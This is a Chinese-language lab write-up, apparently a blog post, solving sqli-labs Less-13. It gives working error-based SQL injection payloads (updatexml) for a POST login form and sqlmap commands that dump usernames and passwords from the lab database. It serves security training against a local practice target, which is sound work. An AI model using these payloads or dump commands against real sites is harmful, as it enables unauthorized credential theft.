1. 思路🚀
本關的SQL語句為:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
- 注入類型:字符串型(單引號、括號包裹)、POST請求
- 提示:參數需以
')
閉合
php
輸出語句的部分代碼:
if($row)
{//echo '<font color= "#0000ff">'; echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";
}
可以看到沒有回顯語句,那就需要用到盲注手段,首選報錯盲注
,問就是sql語句少:
- 布爾盲注
- 時間盲注
- 報錯盲注?
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-13/
,只需要將下面的url
和post data
放入對應位置,粘貼即可。
2.1. 判斷能否注入?
uname=1') order by 3 #
&passwd=admin&submit=Submit
order by 3
:探測字段數(報錯說明字段數=2)
2.2. 獲取數據庫?
uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit
2.3. 獲取表名?
uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit
2.4. 獲取字段?
uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit
2.5. 獲取數據?
uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit
2.6. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
') | 閉合符號 | id=1') |
# | 注釋符 | # |
order by | 判斷字段數 | order by 3 |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. SQLMap工具測試🎯
url
地址換成自己的,比如:http://localhost:8081/Less-13/
,由于本關卡為post
請求,需要加參數指明請求格式,
--data="uname=1&passwd=123456"
,uname
與passwd
的值隨意,具體如下:?
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch# 爆數據庫
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
SQLMap參數表?
參數 | 功能 |
---|---|
--data | 指定post 請求 |
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
4. 總結🏁
關于post
請求,本關卡與關卡11的解法相仿,但關卡11的解析更為詳細,歡迎大家移步"sqli-labs:Less-11關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209
有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
聲明:本文僅用于安全學習,嚴禁非法測試! ???